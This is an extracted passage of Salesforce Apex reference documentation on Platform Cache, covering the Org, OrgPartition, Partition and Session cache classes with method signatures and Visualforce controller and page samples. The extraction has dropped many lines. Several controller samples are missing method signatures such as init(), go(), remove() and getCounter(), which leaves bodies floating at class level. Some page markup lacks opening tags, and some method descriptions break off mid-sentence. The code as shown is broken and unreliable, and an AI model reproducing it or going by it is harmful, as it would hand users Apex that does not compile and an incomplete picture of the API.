This example gets a cached User record based on a user ID. If the value exists in the org cache, it is returned. If the value doesn’t exist,
the doLoad(String var) method is re-executed, and the new value is cached and returned.
User batman = (User) Cache.Org.get(UserInfoCache.class, ‘00541000000ek4c');
Org Class
Use the Cache.Org class to add, retrieve, and manage values in the org cache. Unlike the session cache, the org cache is not tied to
any session and is available to the organization across requests and to all users.
Namespace
Cache
Usage
Cache Key Format
This table lists the format of the key parameter that some methods in this class take, such as put, get, and contains.
Key Format Description

namespace.partition.key Fully qualified key name.
key Refers to a partition marked as default when the

namespace.partition prefix is omitted.
local.partition.key Use the local prefix to refer to the org’s namespace when the
org doesn’t have a namespace defined. If the org has a namespace
defined, the local prefix also refers to that org’s namespace.
Note:
• If no default partition is specified in the org, calling a cache method without fully qualifying the key name causes a
Cache.Org.OrgCacheException to be thrown.
• The local prefix in an installed managed package refers to the namespace of the subscriber org and not the package’s
namespace. The cache put calls aren’t allowed in a partition that the invoking class doesn’t own.
760
Example
This class is the controller for a sample Visualforce page (shown in the subsequent code sample). The cached values are initially added
to the cache by the init() method, which the Visualforce page invokes when it loads through the action attribute. The cache
keys don’t contain the namespace.partition prefix. They all refer to the default partition in your org. To run this sample, create
a partition and mark it as default.
The Visualforce page contains four output components. These components call get methods on the controller that returns the following
values from the cache: a date, data based on the MyData inner class, a counter, a text value, and a list. The size of the list is also returned.
The Visualforce page also contains two buttons. The Rerender button invokes the go() method on the controller. This method increases
the values of the counter and the custom data in the cache. When you click Rerender, the two counters increase by one each time. The
go() method retrieves the values of these counters from the cache, increments their values by one, and stores them again in the
cache.
The Remove datetime Key button deletes the date-time value (with key datetime) from the cache. As a result, the value next to
Cached datetime: is cleared on the page.
Note: If another user logs in and runs this sample, this user gets the cache values that were last added or updated by the previous
user. For example, if the counter value was five, the next user sees the counter value as increased to six.
public class OrgCacheController {
// Inner class.
// Used as the data type of a cache value.
class MyData {
public String value { get; set; }
public Integer counter { get; set; }
public MyData(String value) {

this.value = value;
this.counter = 0;
}
public void inc() {

counter++;
}
override public String toString() {

return this.value + ':' + this.counter;
}
}
// Apex List.
// Used as the data type of a cached value.
private List<String> numbers =
new List<String> { 'ONE', 'TWO', 'THREE', 'FOUR', 'FIVE' };
// Constructor of the controller for the Visualforce page.

public OrgCacheController() {
}
// Adds various values to the cache.

// This method is called when the Visualforce page loads.
// All key values are not qualified by the namespace.partition
761
// prefix because they use the default partition.
// Add counter to the cache with initial value of 0

// or increment it if it's already there.
if (!Cache.Org.contains('counter')) {
Cache.Org.put('counter', 0);
} else {
Cache.Org.put('counter', getCounter() + 1);
}
// Add the datetime value to the cache only if it's not already there.
if (!Cache.Org.contains('datetime')) {
DateTime dt = DateTime.now();
Cache.Org.put('datetime', dt);
}
// Add the custom data to the cache only if it's not already there.
if (!Cache.Org.contains('data')) {
Cache.Org.put('data', new MyData('Some custom value'));
}
// Add a list of number to the cache if not already there.

if (!Cache.Org.contains('list')) {
Cache.Org.put('list', numbers);
}
// Add a string value to the cache if not already there.

if (!Cache.Org.contains('output')) {
Cache.Org.put('output', 'Cached text value');
}
}
// Return counter from the cache.

public Integer getCounter() {
return (Integer)Cache.Org.get('counter');
}
// Return datetime value from the cache.

public String getCachedDatetime() {
DateTime dt = (DateTime)Cache.Org.get('datetime');
return dt != null ? dt.format() : null;
}
// Return cached value whose type is the inner class MyData.

public String getCachedData() {
MyData mydata = (MyData)Cache.Org.get('data');
return mydata != null ? mydata.toString() : null;
}
// Return output from the cache.

public String getOutput() {
return (String)Cache.Org.get('output');
}
762
// Return list from the cache.

public List<String> getList() {
return (List<String>)Cache.Org.get('list');
}
// Method invoked by the Rerender button on the Visualforce page.

// Updates the values of various cached values.
// Increases the values of counter and the MyData counter if those
// cache values are still in the cache.
public PageReference go() {
// Increase the cached counter value or set it to 0
// if it's not cached.
if (Cache.Org.contains('counter')) {
Cache.Org.put('counter', getCounter() + 1);
} else {
Cache.Org.put('counter', 0);
}
// Get the custom data value from the cache.

MyData d = (MyData)Cache.Org.get('data');
// Only if the data is already in the cache, update it.
if (Cache.Org.contains('data')) {
d.inc();
Cache.Org.put('data', d);
}
return null;
}
// Method invoked by the Remove button on the Visualforce page.

// Removes the datetime cached value from the org cache.
public PageReference remove() {
Cache.Org.remove('datetime');
return null;
}
}
This is the Visualforce page that corresponds to the OrgCacheController class.

<apex:page controller="OrgCacheController" action="{!init}">
<apex:outputPanel id="output">
<br/>Cached datetime: <apex:outputText value="{!cachedDatetime}"/>
<br/>Cached data: <apex:outputText value="{!cachedData}"/>
<br/>Cached counter: <apex:outputText value="{!counter}"/>
<br/>Output: <apex:outputText value="{!output}"/>
<br/>Repeat: <apex:repeat var="item" value="{!list}">
<apex:outputText value="{!item}"/>
</apex:repeat>
<br/>List size: <apex:outputText value="{!list.size}"/>
</apex:outputPanel>
<br/><br/>
<apex:form >
763
<apex:commandButton id="go" action="{!go}" value="Rerender" rerender="output"/>

<apex:commandButton id="remove" action="{!remove}" value="Remove datetime Key"
rerender="output"/>
</apex:form>
</apex:page>
This is the output of the page after clicking the Rerender button twice. The counter value could differ in your case if a key named
counter was already in the cache before running this sample.
Cached datetime:8/11/2015 1:58 PM

Cached data:Some custom value:2
Cached counter:2
Output:Cached text value
Repeat:ONE TWO THREE FOUR FIVE
List size:5
IN THIS SECTION:
Org Constants
The Org class provides a constant that you can use when setting the time-to-live (TTL) value.
Org Methods
SEE ALSO:
Platform Cache
Org Constants
The Org class provides a constant that you can use when setting the time-to-live (TTL) value.
Constant Description
MAX_TTL_SECS Represents the maximum amount of time, in seconds, to keep the cached value in the
org cache.
Org Methods
The following are methods for Org. All methods are static.
IN THIS SECTION:
contains(key)
Returns true if the org cache contains a cached value corresponding to the specified key.
contains(keys)
Returns true if the org cache contains the specified key entries.
get(key)
Returns the cached value corresponding to the specified key from the org cache.
764
get(cacheBuilder, key)
Returns the cached value corresponding to the specified key from the org cache. Use this method if your cached value is a class that
implements the CacheBuilder interface.
getAvgGetTime()
Returns the average time taken to get a key from the org cache, in nanoseconds.
getAvgValueSize()
Returns the average item size for keys in the org cache, in bytes.
getCapacity()
Returns the percentage of org cache capacity that has been used.
getKeys()
Returns a set of all keys that are stored in the org cache and visible to the invoking namespace.
getMaxGetTime()
Returns the maximum time taken to get a key from the org cache, in nanoseconds.
getMaxValueSize()
Returns the maximum item size for keys in the org cache, in bytes.
getMissRate()
Returns the miss rate in the org cache.
getName()
Returns the name of the default cache partition.
getNumKeys()
Returns the total number of keys in the org cache.
getPartition(partitionName)
Returns a partition from the org cache that corresponds to the specified partition name.
put(key, value)
Stores the specified key/value pair as a cached entry in the org cache. The put method can write only to the cache in your org’s
namespace.
put(key, value, visibility)
Stores the specified key/value pair as a cached entry in the org cache and sets the cached value’s visibility.
put(key, value, ttlSecs)
Stores the specified key/value pair as a cached entry in the org cache and sets the cached value’s lifetime.
put(key, value, ttlSecs, visibility, immutable)
Stores the specified key/value pair as a cached entry in the org cache. This method also sets the cached value’s lifetime, visibility,
and whether it can be overwritten by another namespace.
remove(key)
Deletes the cached value corresponding to the specified key from the org cache.
remove(cacheBuilder, key)
Deletes the cached value corresponding to the specified key from the org cache. Use this method if your cached value is a class that
contains(key)
Returns true if the org cache contains a cached value corresponding to the specified key.
765
Signature
public static Boolean contains(String key)
Parameters
key
Type: String
A case-sensitive string value that uniquely identifies a cached value. For information about the format of the key name, see Usage.
Return Value
Type: Boolean
true if a cache entry is found. Othewise, false.
contains(keys)
Returns true if the org cache contains the specified key entries.
Signature
public static List<Boolean> contains(Set<String> keys)
Parameters
keys
Type: Set<String>
A set of keys that uniquely identifies cached values. For information about the format of the key name, see Usage.
Return Value
Type: List<Boolean>
true if the key entries are found. Othewise, false.
get(key)
Returns the cached value corresponding to the specified key from the org cache.
Signature
public static Object get(String key)
Parameters
key
Type: String
766
Return Value
Type: Object
The cached value as a generic object type. Cast the returned value to the appropriate type.
Usage
Because Cache.Org.get() returns an object, cast the returned value to a specific type to facilitate use of the returned value.
Object obj = Cache.Org.get('ns1.partition1.orderDate');
If a Cache.Org.get() call doesn’t find the referenced key, it returns null.
Returns the cached value corresponding to the specified key from the org cache. Use this method if your cached value is a class that
Signature
public static Object get(System.Type cacheBuilder, String key)
Parameters
cacheBuilder
Type: System.Type
The Apex class that implements the CacheBuilder interface.
key
Type: String
A case-sensitive string value that, combined with the class name corresponding to the cacheBuilder parameter, uniquely
identifies a cached value.
Return Value
Type: Object
Usage
Because Cache.Org.get(cacheBuilder, key) returns an object, cast the returned value to a specific type to facilitate use
of the returned value.
return ((DateTime)Cache.Org.get(DateCache.class, 'datetime')).format();
getAvgGetTime()
Returns the average time taken to get a key from the org cache, in nanoseconds.
767
Signature
public static Long getAvgGetTime()
Return Value
Type: Long
getAvgValueSize()
Returns the average item size for keys in the org cache, in bytes.
Signature
public static Long getAvgValueSize()
Return Value
Type: Long
getCapacity()
Returns the percentage of org cache capacity that has been used.
Signature
public static Double getCapacity()
Return Value
Type: Double
Used cache as a percentage number.
getKeys()
Returns a set of all keys that are stored in the org cache and visible to the invoking namespace.
Signature
public static Set<String> getKeys()
Return Value
Type: Set<String>
A set containing all cache keys.
getMaxGetTime()
Returns the maximum time taken to get a key from the org cache, in nanoseconds.
768
Signature
public static Long getMaxGetTime()
Return Value
Type: Long
getMaxValueSize()
Returns the maximum item size for keys in the org cache, in bytes.
Signature
public static Long getMaxValueSize()
Return Value
Type: Long
getMissRate()
Returns the miss rate in the org cache.
Signature
public static Double getMissRate()
Return Value
Type: Double
getName()
Signature
public String getName()
Return Value
Type: String
The name of the default cache partition.
getNumKeys()
Returns the total number of keys in the org cache.
769
Signature
public static Long getNumKeys()
Return Value
Type: Long
Returns a partition from the org cache that corresponds to the specified partition name.
Signature
public static cache.OrgPartition getPartition(String partitionName)
Parameters
partitionName
Type: String
A partition name that is qualified by the namespace, for example, namespace.partition.
Return Value
Type: Cache.OrgPartition
Example
After you get the org partition, you can add and retrieve the partition’s cache values.
// Get partition
Cache.OrgPartition orgPart = Cache.Org.getPartition('myNs.myPartition');
if (orgPart.contains('BookTitle')) {
String cachedTitle = (String)orgPart.get('BookTitle');
}

orgPart.put('OrderDate', Date.today());

String cachedAuthor = (String)Cache.Org.getPartition('myNs.myPartition').get('BookAuthor');
put(key, value)
Stores the specified key/value pair as a cached entry in the org cache. The put method can write only to the cache in your org’s
namespace.
Signature
public static void put(String key, Object value)
770
Parameters
key
Type: String
value
Type: Object
The value to store in the cache. The cached value must be serializable.
Return Value
Type: void

Stores the specified key/value pair as a cached entry in the org cache and sets the cached value’s visibility.
Signature
public static void put(String key, Object value, Cache.Visibility visibility)
Parameters
key
Type: String
value
Type: Object
visibility
Type: Cache.Visibility
Indicates whether the cached value is available only to Apex code that is executing in the same namespace or to Apex code executing
from any namespace.
Return Value
Type: void

Stores the specified key/value pair as a cached entry in the org cache and sets the cached value’s lifetime.
Signature
public static void put(String key, Object value, Integer ttlSecs)
771
Parameters
key
Type: String
value
Type: Object
ttlSecs
Type: Integer
The amount of time, in seconds, to keep the cached value in the org cache. The maximum is 172,800 seconds (48 hours). The
minimum value is 300 seconds or 5 minutes. The default value is 86,400 seconds (24 hours).
Return Value
Type: void

Stores the specified key/value pair as a cached entry in the org cache. This method also sets the cached value’s lifetime, visibility, and
whether it can be overwritten by another namespace.
Signature
public static void put(String key, Object value, Integer ttlSecs, cache.Visibility
visibility, Boolean immutable)
Parameters
key
Type: String
value
Type: Object
ttlSecs
Type: Integer
The amount of time, in seconds, to keep the cached value in the org cache. The maximum is 172,800 seconds (48 hours). The
minimum value is 300 seconds or 5 minutes. The default value is 86,400 seconds (24 hours).
visibility
from any namespace.
immutable
Type: Boolean
Indicates whether the cached value can be overwritten by another namespace (false) or not (true).
772
Return Value
Type: void
remove(key)
Deletes the cached value corresponding to the specified key from the org cache.
Signature
public static Boolean remove(String key)
Parameters
key
Type: String
Return Value
Type: Boolean
true if the cache value was successfully removed. Otherwise, false.
Deletes the cached value corresponding to the specified key from the org cache. Use this method if your cached value is a class that
Signature
public static Boolean remove(System.Type cacheBuilder, String key)
Parameters
cacheBuilder
Type: System.Type
key
Type: String
Return Value
Type: Boolean
773
OrgPartition Class
Contains methods to manage cache values in the org cache of a specific partition. Unlike the session cache, the org cache is not tied to
any session. It’s available to the organization across requests and to all users.
Namespace
Cache
Usage
This class extends Cache.Partition and inherits all its non-static methods. Utility methods for creating and validating keys aren’t supported
and can be called only from the Cache.Partition parent class. For a list of Cache.Partition methods, see Partition Methods.
To get an org partition, call Cache.Org.getPartition and pass in a fully qualified partition name, as follows.
Cache.OrgPartition orgPartition = Cache.Org.getPartition('namespace.myPartition');
See Cache Key Format for Partition Methods.
Example
This class is the controller for a sample Visualforce page (shown in the subsequent code sample). The controller shows how to use the
methods of Cache.OrgPartition to manage a cache value on a particular partition. The controller takes inputs from the Visualforce
page for the partition name, key name for a counter, and initial counter value. The controller contains default values for these inputs.
When you click Rerender on the Visualforce page, the go() method is invoked and increases the counter by one. When you click
Remove Key, the counter key is removed from the cache. The counter value gets reset to its initial value when it’s re-added to the cache.
Note: If another user logs in and runs this sample, the user gets the cache values that were last added or updated by the previous
user. For example, if the counter value was five, the next user sees the counter value as increased to six.
public class OrgPartitionController {
// Name of a partition
String partitionInput = 'local.myPartition';
// Name of the key
String counterKeyInput = 'counter';
// Key initial value
Integer counterInitValue = 0;
// Org partition object
Cache.OrgPartition orgPartition;

public OrgPartitionController() {
}
// Adds counter value to the cache.

// Create the partition instance based on the partition name
orgPartition = getPartition();

// given in the Visualforce page or the default value.
774
orgPartition = Cache.Org.getPartition(partitionInput);
// Add counter to the cache with an initial value

if (!orgPartition.contains(counterKeyInput)) {
orgPartition.put(counterKeyInput, counterInitValue);
} else {
orgPartition.put(counterKeyInput, getCounter() + 1);
}
}
// Returns the org partition based on the partition name

private Cache.OrgPartition getPartition() {
if (orgPartition == null) {
orgPartition = Cache.Org.getPartition(partitionInput);
}
return orgPartition;
}

return (Integer)getPartition().get(counterKeyInput);
}
// Invoked by the Submit button to save input values

// supplied by the user.
public PageReference save() {
// Reset the initial key value in the cache
getPartition().put(counterKeyInput, counterInitValue);
return null;
}

// Get the org partition object
orgPartition = getPartition();
if (orgPartition.contains(counterKeyInput)) {
orgPartition.put(counterKeyInput, getCounter() + 1);
} else {
orgPartition.put(counterKeyInput, counterInitValue);
}
return null;
}
775

// Removes the datetime cached value from the org cache.
getPartition().remove(counterKeyInput);
return null;
}
// Get and set methods for accessing variables

// that correspond to the input text fields on
// the Visualforce page.
public String getPartitionInput() {
return partitionInput;
}
public String getCounterKeyInput() {

return counterKeyInput;
}
public Integer getCounterInitValue() {

return counterInitValue;
}
public void setPartitionInput(String partition) {

this.partitionInput = partition;
}
public void setCounterKeyInput(String keyName) {

this.counterKeyInput = keyName;
}
public void setCounterInitValue(Integer counterValue) {

this.counterInitValue = counterValue;
}
}
This is the Visualforce page that corresponds to the OrgPartitionController class.

<apex:page controller="OrgPartitionController" action="{!init}">
<apex:form >
<br/>Partition with Namespace Prefix: <apex:inputText value="{!partitionInput}"/>
<br/>Counter Key Name: <apex:inputText value="{!counterKeyInput}"/>

<br/>Counter Initial Value: <apex:inputText value="{!counterInitValue}"/>
<apex:commandButton action="{!save}" value="Save Key Input Values"/>
</apex:form>
<br/>Cached Counter: <apex:outputText value="{!counter}"/>
</apex:outputPanel>
<br/>
<apex:form >
776
<apex:commandButton id="remove" action="{!remove}" value="Remove Key"

rerender="output"/>
</apex:form>
</apex:page>
SEE ALSO:
Platform Cache
Partition Class
Base class of Cache.OrgPartition and Cache.SessionPartition. Use the subclasses to manage the cache partition
for org caches and session caches.
Namespace
Cache
Cache Key Format for Partition Methods

After you obtain the partition object (an instance of Cache.OrgPartition or Cache.SessionPartition), the methods
to add, retrieve, and manage the cache values in a partition take the key name. The key name that you supply to these methods (get(),
put(), remove(), and contains()) doesn’t include the namespace.partition prefix.
IN THIS SECTION:
Partition Methods
SEE ALSO:
OrgPartition Class
Platform Cache
Partition Methods
The following are methods for Partition.
IN THIS SECTION:
contains(key)
Returns true if the cache partition contains a cached value corresponding to the specified key.
createFullyQualifiedKey(namespace, partition, key)
Generates a fully qualified key from the passed-in key components. The format of the generated key string is
namespace.partition.key.
createFullyQualifiedPartition(namespace, partition)
Generates a fully qualified partition name from the passed-in namespace and partition. The format of the generated partition string
is namespace.partition.
777
get(key)
Returns the cached value corresponding to the specified key from the cache partition.
Returns the cached value corresponding to the specified key from the partition cache. Use this method if your cached value is a class
that implements the CacheBuilder interface.
getAvgGetTime()
Returns the average time taken to get a key from the partition, in nanoseconds.
getAvgValueSize()
Returns the average item size for keys in the partition, in bytes.
getCapacity()
Returns the percentage of cache used of the total capacity for this partition.
getKeys()
Returns a set of all keys that are stored in the cache partition and visible to the invoking namespace.
getMaxGetTime()
Returns the maximum time taken to get a key from the partition, in nanoseconds.
getMaxValueSize()
Returns the maximum item size for keys in the partition, in bytes.
getMissRate()
Returns the miss rate in the partition.
getName()
Returns the name of this cache partition.
getNumKeys()
Returns the total number of keys in the partition.
isAvailable()
Returns true if the Salesforce session is available. Only applies to Cache.SessionPartition. The session cache isn’t
available when an active session isn’t present, such as in asynchronous Apex or code called by asynchronous Apex. For example, if
batch Apex causes an Apex trigger to execute, the session cache isn’t available in the trigger because the trigger runs in asynchronous
context.
put(key, value)
Stores the specified key/value pair as a cached entry in the cache partition. The put method can write only to the cache in your
org’s namespace.
Stores the specified key/value pair as a cached entry in the cache partition and sets the cached value’s visibility.
Stores the specified key/value pair as a cached entry in the cache partition and sets the cached value’s lifetime.
Stores the specified key/value pair as a cached entry in the cache partition. This method also sets the cached value’s lifetime, visibility,
remove(key)
Deletes the cached value corresponding to the specified key from this cache partition.
778
Deletes the cached value corresponding to the specified key from the partition cache. Use this method if your cached value is a class
validateCacheBuilder(cacheBuilder)
Validates that the specified class implements the CacheBuilder interface.
validateKey(isDefault, key)
Validates a cache key. This method throws a Cache.InvalidParamException if the key is not valid. A valid key is not
null and contains alphanumeric characters.
validateKeyValue(isDefault, key, value)
Validates a cache key and ensures that the cache value is non-null. This method throws a Cache.InvalidParamException
if the key or value is not valid. A valid key is not null and contains alphanumeric characters.
validateKeys(isDefault, keys)
Validates the specified cache keys. This method throws a Cache.InvalidParamException if the key is not valid. A valid
key is not null and contains alphanumeric characters.
validatePartitionName(name)
Validates the partition name — for example, that it is not null.
contains(key)
Returns true if the cache partition contains a cached value corresponding to the specified key.
Signature
public Boolean contains(String key)
Parameters
key
Type: String
A case-sensitive string value that uniquely identifies a cached value.
Return Value
Type: Boolean
createFullyQualifiedKey(namespace, partition, key)

Generates a fully qualified key from the passed-in key components. The format of the generated key string is
namespace.partition.key.
Signature
public static String createFullyQualifiedKey(String namespace, String partition, String
key)
779
Parameters
namespace
Type: String
The namespace of the cache key.
partition
Type: String
The partition of the cache key.
key
Type: String
The name of the cache key.
Return Value
Type: String
createFullyQualifiedPartition(namespace, partition)
Generates a fully qualified partition name from the passed-in namespace and partition. The format of the generated partition string is
namespace.partition.
Signature
public static String createFullyQualifiedPartition(String namespace, String partition)
Parameters
namespace
Type: String
The namespace of the cache key.
partition
Type: String
The partition of the cache key.
Return Value
Type: String
get(key)
Returns the cached value corresponding to the specified key from the cache partition.
Signature
public Object get(String key)
780
Parameters
key
Type: String
Return Value
Type: Object
Returns the cached value corresponding to the specified key from the partition cache. Use this method if your cached value is a class
Signature
public Object get(System.Type cacheBuilder, String key)
Parameters
cacheBuilder
Type: System.Type
key
Type: String
Return Value
Type: Object
getAvgGetTime()
Returns the average time taken to get a key from the partition, in nanoseconds.
Signature
public Long getAvgGetTime()
Return Value
Type: Long
781
getAvgValueSize()
Returns the average item size for keys in the partition, in bytes.
Signature
public Long getAvgValueSize()
Return Value
Type: Long
getCapacity()
Returns the percentage of cache used of the total capacity for this partition.
Signature
public Double getCapacity()
Return Value
Type: Double
Used partition cache as a percentage number.
getKeys()
Returns a set of all keys that are stored in the cache partition and visible to the invoking namespace.
Signature
public Set<String> getKeys()
Return Value
Type: Set<String>
getMaxGetTime()
Returns the maximum time taken to get a key from the partition, in nanoseconds.
Signature
public Long getMaxGetTime()
Return Value
Type: Long
782
getMaxValueSize()
Returns the maximum item size for keys in the partition, in bytes.
Signature
public Long getMaxValueSize()
Return Value
Type: Long
getMissRate()
Returns the miss rate in the partition.
Signature
public Double getMissRate()
Return Value
Type: Double
getName()
Returns the name of this cache partition.
Signature
Return Value
Type: String
The name of this cache partition.
getNumKeys()
Returns the total number of keys in the partition.
Signature
public Long getNumKeys()
Return Value
Type: Long
783
isAvailable()
Returns true if the Salesforce session is available. Only applies to Cache.SessionPartition. The session cache isn’t available
when an active session isn’t present, such as in asynchronous Apex or code called by asynchronous Apex. For example, if batch Apex
causes an Apex trigger to execute, the session cache isn’t available in the trigger because the trigger runs in asynchronous context.
Signature
public Boolean isAvailable()
Return Value
Type: Boolean
put(key, value)
Stores the specified key/value pair as a cached entry in the cache partition. The put method can write only to the cache in your org’s
namespace.
Signature
public void put(String key, Object value)
Parameters
key
Type: String
value
Type: Object
Return Value
Type: void

Stores the specified key/value pair as a cached entry in the cache partition and sets the cached value’s visibility.
Signature
public void put(String key, Object value, cache.Visibility visibility)
Parameters
key
Type: String
784
value
Type: Object
visibility
from any namespace.
Return Value
Type: void

Stores the specified key/value pair as a cached entry in the cache partition and sets the cached value’s lifetime.
Signature
public void put(String key, Object value, Integer ttlSecs)
Parameters
key
Type: String
value
Type: Object
ttlSecs
Type: Integer
The amount of time, in seconds, to keep the cached value in the cache.
Return Value
Type: void

Stores the specified key/value pair as a cached entry in the cache partition. This method also sets the cached value’s lifetime, visibility,
Signature
public void put(String key, Object value, Integer ttlSecs, cache.Visibility visibility,
Boolean immutable)
785
Parameters
key
Type: String
value
Type: Object
ttlSecs
Type: Integer
The amount of time, in seconds, to keep the cached value in the cache.
visibility
from any namespace.
immutable
Type: Boolean
Return Value
Type: void
remove(key)
Deletes the cached value corresponding to the specified key from this cache partition.
Signature
public Boolean remove(String key)
Parameters
key
Type: String
Return Value
Type: Boolean
Deletes the cached value corresponding to the specified key from the partition cache. Use this method if your cached value is a class
786
Signature
public Boolean remove(System.Type cacheBuilder, String key)
Parameters
cacheBuilder
Type: System.Type
key
Type: String
Return Value
Type: Boolean
validateCacheBuilder(cacheBuilder)
Validates that the specified class implements the CacheBuilder interface.
Signature
public static void validateCacheBuilder(System.Type cacheBuilder)
Parameters
cacheBuilder
Type: System.Type
The class to validate.
Return Value
Type: void
validateKey(isDefault, key)
Validates a cache key. This method throws a Cache.InvalidParamException if the key is not valid. A valid key is not null
and contains alphanumeric characters.
Signature
public static void validateKey(Boolean isDefault, String key)
Parameters
isDefault
Type: Boolean
787
Set to true if the key references a default partition. Otherwise, set to false.
key
Type: String
The key to validate.
Return Value
Type: void
validateKeyValue(isDefault, key, value)

Validates a cache key and ensures that the cache value is non-null. This method throws a Cache.InvalidParamException if
the key or value is not valid. A valid key is not null and contains alphanumeric characters.
Signature
public static void validateKeyValue(Boolean isDefault, String key, Object value)
Parameters
isDefault
Type: Boolean
key
Type: String
The key to validate.
value
Type: Object
The cache value to validate.
Return Value
Type: void
validateKeys(isDefault, keys)
Validates the specified cache keys. This method throws a Cache.InvalidParamException if the key is not valid. A valid key
is not null and contains alphanumeric characters.
Signature
public static void validateKeys(Boolean isDefault, Set<String> keys)
Parameters
isDefault
Type: Boolean
788
keys
Type: Set<String>
A set of key string values to validate.
Return Value
Type: void
validatePartitionName(name)
Validates the partition name — for example, that it is not null.
Signature
public static void validatePartitionName(String name)
Parameters
name
Type: String
The name of the partition to validate.
Return Value
Type: void
Session Class
Use the Cache.Session class to add, retrieve, and manage values in the session cache. The session cache is active as long as the
user’s Salesforce session is valid (the user is logged in, and the session is not expired).
Namespace
Cache
Usage
Cache Key Format
This table lists the format of the key parameter that some methods in this class take, such as put, get, and contains.
Key Format Description

namespace.partition.key Fully qualified key name.
key Refers to a partition marked as default when the

namespace.partition prefix is omitted.
local.partition.key Use the local prefix to refer to the org’s namespace when the
org doesn’t have a namespace defined. If the org has a namespace
defined, the local prefix also refers to that org’s namespace.
789
Note:
• If no default partition is specified in the org, calling a cache method without fully qualifying the key name causes a
Cache.Session.SessionCacheException to be thrown.
• The local prefix in an installed managed package refers to the namespace of the subscriber org and not the package’s
• Session cache doesn’t support asynchronous Apex. For example, you can’t use future methods or batch Apex with session
cache.
Example
This class is the controller for a sample Visualforce page (shown in the subsequent code sample). The cached values are initially added
to the cache by the init() method, which the Visualforce page invokes when it loads through the action attribute. The cache
keys don’t contain the namespace.partition prefix. They all refer to a default partition in your org. The Visualforce page expects
a partition named myPartition. To run this sample, create a default partition in your org with the name myPartition.
The Visualforce page contains four output components. The first three components call get methods on the controller that return the
following values from the cache: a date, data based on the MyData inner class, and a counter. The next output component uses the
$Cache.Session global variable to get the cached string value for the key named output. Next, the $Cache.Session global
variable is used again in the Visualforce page to iterate over the elements of a cached value of type List. The size of the list is also
returned.
The Visualforce page also contains two buttons. The Rerender button invokes the go() method on the controller. This method increases
the values of the counter and the custom data in the cache. If you click Rerender, the two counters increase by one each time. The
go() method retrieves the values of these counters from the cache, increments their values by one, and stores them again in the
cache.
The Remove button deletes the date-time value (with key datetime) from the cache. As a result, the value next to Cached
datetime: is cleared on the page.
public class SessionCacheController {
// Inner class.
// Used as the data type of a cache value.
class MyData {
public String value { get; set; }
public Integer counter { get; set; }
public MyData(String value) {

this.value = value;
this.counter = 0;
}
public void inc() {

counter++;
}
override public String toString() {

return this.value + ':' + this.counter;
}
}
// Apex List.
790
// Used as the data type of a cached value.

private List<String> numbers =
new List<String> { 'ONE', 'TWO', 'THREE', 'FOUR', 'FIVE' };

public SessionCacheController() {
}
// Adds various values to the cache.

// All key values are not qualified by the namespace.partition
// prefix because they use the default partition.
// Add counter to the cache with initial value of 0

if (!Cache.Session.contains('counter')) {
Cache.Session.put('counter', 0);
} else {
Cache.Session.put('counter', getCounter() + 1);
}
// Add the datetime value to the cache only if it's not already there.
if (!Cache.Session.contains('datetime')) {
DateTime dt = DateTime.now();
Cache.Session.put('datetime', dt);
}
// Add the custom data to the cache only if it's not already there.
if (!Cache.Session.contains('data')) {
Cache.Session.put('data', new MyData('Some custom value'));
}
// Add a list of number to the cache if not already there.

if (!Cache.Session.contains('list')) {
Cache.Session.put('list', numbers);
}
// Add a string value to the cache if not already there.

if (!Cache.Session.contains('output')) {
Cache.Session.put('output', 'Cached text value');
}
}

return (Integer)Cache.Session.get('counter');
}
// Return datetime value from the cache.

public String getCachedDatetime() {
DateTime dt = (DateTime)Cache.Session.get('datetime');
return dt != null ? dt.format() : null;
}
791
// Return cached value whose type is the inner class MyData.

public String getCachedData() {
MyData mydata = (MyData)Cache.Session.get('data');
return mydata != null ? mydata.toString() : null;
}

if (Cache.Session.contains('counter')) {
Cache.Session.put('counter', getCounter() + 1);
} else {
Cache.Session.put('counter', 0);
}
// Get the custom data value from the cache.

MyData d = (MyData)Cache.Session.get('data');
// Only if the data is already in the cache, update it.
if (Cache.Session.contains('data')) {
d.inc();
Cache.Session.put('data', d);
}
return null;
}

// Removes the datetime cached value from the session cache.
Cache.Session.remove('datetime');
return null;
}
}
This is the Visualforce page that corresponds to the SessionCacheController class.

<apex:page controller="SessionCacheController" action="{!init}">
<br/>Cached datetime: <apex:outputText value="{!cachedDatetime}"/>
<br/>Cached data: <apex:outputText value="{!cachedData}"/>
<br/>Cached counter: <apex:outputText value="{!counter}"/>
<br/>Output: <apex:outputText value="{!$Cache.Session.local.myPartition.output}"/>
<br/>Repeat: <apex:repeat var="item"

value="{!$Cache.Session.local.myPartition.list}">
<apex:outputText value="{!item}"/>
</apex:repeat>
<br/>List size: <apex:outputText
792
value="{!$Cache.Session.local.myPartition.list.size}"/>
</apex:outputPanel>
<br/><br/>
<apex:form >
<apex:commandButton id="remove" action="{!remove}" value="Remove datetime Key"
rerender="output"/>
</apex:form>
</apex:page>
This is the output of the page after clicking the Rerender button twice. The counter value could differ in your case if a key named
counter was already in the cache before running this sample.
Cached datetime:8/11/2015 1:58 PM

Cached data:Some custom value:2
Cached counter:2
Output:Cached text value
Repeat:ONE TWO THREE FOUR FIVE
List size:5
IN THIS SECTION:
Session Constants
The Session class provides a constant that you can use when setting the time-to-live (TTL) value.
Session Methods
SEE ALSO:
Platform Cache
Session Constants
The Session class provides a constant that you can use when setting the time-to-live (TTL) value.
MAX_TTL_SECS Represents the maximum amount of time, in seconds, to keep the cached value in the
session cache.
Session Methods
The following are methods for Session. All methods are static.
IN THIS SECTION:
contains(key)
Returns true if the session cache contains a cached value corresponding to the specified key.
get(key)
Returns the cached value corresponding to the specified key from the session cache.
793
Returns the cached value corresponding to the specified key from the session cache. Use this method if your cached value is a class
getAvgGetTime()
Returns the average time taken to get a key from the session cache, in nanoseconds.
getAvgValueSize()
Returns the average item size for keys in the session cache, in bytes.
getCapacity()
Returns the percentage of session cache capacity that has been used.
getKeys()
Returns all keys that are stored in the session cache and visible to the invoking namespace.
getMaxGetTime()
Returns the maximum time taken to get a key from the session cache, in nanoseconds.
getMaxValueSize()
Returns the maximum item size for keys in the session cache, in bytes.
getMissRate()
Returns the miss rate in the session cache.
getName()
getNumKeys()
Returns the total number of keys in the session cache.
Returns a partition from the session cache that corresponds to the specified partition name.
isAvailable()
Returns true if the session cache is available for use. The session cache isn’t available when an active session isn’t present, such
as in asynchronous Apex or code called by asynchronous Apex. For example, if batch Apex causes an Apex trigger to execute, the
session cache isn’t available in the trigger because the trigger runs in asynchronous context.
put(key, value)
Stores the specified key/value pair as a cached entry in the session cache. The put method can write only to the cache in your org’s
namespace.
Stores the specified key/value pair as a cached entry in the session cache and sets the cached value’s visibility.
